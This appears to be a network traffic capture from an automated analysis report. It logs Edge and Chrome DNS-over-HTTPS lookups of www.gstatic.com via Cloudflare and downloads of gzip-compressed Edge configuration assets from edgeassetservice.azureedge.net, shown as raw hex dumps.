2024-11-26 00:41:39 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-26 00:41:40 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 00:41:40 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e85d5895ca578df-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 00:41:40 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 bd 00 04 8e fa 50 23 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomP#)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	49855	162.159.61.3	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:39 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 00:41:39 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-26 00:41:40 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 00:41:40 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e85d589afe80ca0-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 00:41:40 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 01 00 04 8e fa 41 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	49856	162.159.61.3	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:39 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 00:41:39 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-26 00:41:40 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 00:41:40 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e85d589a93e0f65-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 00:41:40 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 27 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom'A)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	49862	172.64.41.3	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:39 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 00:41:39 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-26 00:41:40 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 00:41:40 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e85d589fcf94334-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 00:41:40 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 58 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomX c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	49863	172.64.41.3	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:39 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 00:41:39 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-26 00:41:40 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 00:41:40 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e85d58a0f58c47f-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 00:41:40 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 25 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom%A)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	49869	162.159.61.3	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:40 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 00:41:40 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-26 00:41:41 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 00:41:41 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e85d58faea11a13-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 00:41:41 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 24 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom$A)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	49866	13.107.246.63	443	7660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:40 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.55 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 00:41:41 UTC	576	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:41 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Fri, 22 Nov 2024 21:01:12 GMT ETag: 0x8DD0B38CBCCFA90 x-ms-request-id: a7527e8d-d01e-0008-7b8d-3f7374000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T004141Z-174f7845968v75bwhC1EWRuqen0000000fpg000000006955 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 00:41:41 UTC	15808	IN	Data Raw: 1f 8b 08 08 18 f1 40 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: @gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-26 00:41:41 UTC	16384	IN	Data Raw: c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 Data Ascii: qb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:
2024-11-26 00:41:41 UTC	16384	IN	Data Raw: c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b Data Ascii: Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkX
2024-11-26 00:41:41 UTC	16384	IN	Data Raw: 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc Data Ascii: AHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;
2024-11-26 00:41:41 UTC	5247	IN	Data Raw: 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e Data Ascii: *'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	49867	13.107.246.63	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:40 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 00:41:41 UTC	577	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:41 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 595a4785-301e-006f-2f91-3fc0d3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T004141Z-174f7845968cpnpfhC1EWR3afc0000000u9g0000000061ya Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:41 UTC	15807	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-26 00:41:41 UTC	16384	IN	Data Raw: 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c Data Ascii: u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp
2024-11-26 00:41:41 UTC	16384	IN	Data Raw: b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d Data Ascii: 